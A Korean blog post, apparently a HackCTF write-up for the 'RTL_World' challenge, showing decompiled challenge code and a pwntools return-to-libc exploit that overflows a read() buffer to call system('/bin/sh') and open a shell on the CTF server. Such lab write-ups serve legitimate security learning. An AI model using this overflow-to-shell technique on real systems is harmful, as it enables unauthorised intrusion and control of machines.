ii4gsp
HackCTF - RTL_World 본문
RTL을 이용하는 문제인것같다.
파일을 다운받아 주자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+10h] [ebp-90h]
char buf; // [esp+14h] [ebp-8Ch]
void *v6; // [esp+94h] [ebp-Ch]
void *handle; // [esp+98h] [ebp-8h]
void *s1; // [esp+9Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
v6 = dlsym(handle, "system");
dlclose(handle);
for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
;
puts("\n\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\n");
printf("Your Gold : %d\n", gold);
while ( 1 )
{
Menu();
printf(">>> ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
system("clear");
puts("[Binary Boss]\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
printf("Binary Boss live in %p\n", handle);
puts("Binart Boss HP is 140 + Armor + 4\n");
break;
case 2:
Get_Money();
break;
case 3:
if ( gold <= 1999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 1999;
printf("System Armor : %p\n", v6);
}
break;
case 4:
if ( gold <= 2999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 2999;
printf("Shell Sword : %p\n", s1);
}
break;
case 5:
printf("[Attack] > ");
read(0, &buf, 0x400u);
return 0;
case 6:
puts("Your Not Hero... Bye...");
exit(0);
return result;
default:
continue;
}
}
}
IDA로 파일을 열어보면 scanf()함수로 switch문의 메뉴를 선택한다.
case 5번을보면 read()함수로 RET를 조작할 수 있다.
system()함수의 주소와, "/bin/sh"의 주소를 구해주면 된다.
Exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3010)
e = ELF('/home/ii4gsp/HackCTF/rtl_world')
r.recvuntil('>>> ')
r.sendline('5')
system = e.plt['system']
print hex(system)
binsh = e.search("/bin/sh").next()
print hex(binsh)
payload = ''
payload += '\x90' * 144
payload += p32(system)
payload += '\x90' * 4
payload += p32(binsh)
r.sendline(payload)
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - Poet (0) | 2020.02.16 |
---|---|
HackCTF - g++ pwn (0) | 2020.02.16 |
HackCTF - Yes_or_no (0) | 2020.02.10 |
HackCTF - BOF_PIE (0) | 2020.02.09 |
HackCTF - Offset (0) | 2020.02.09 |
Comments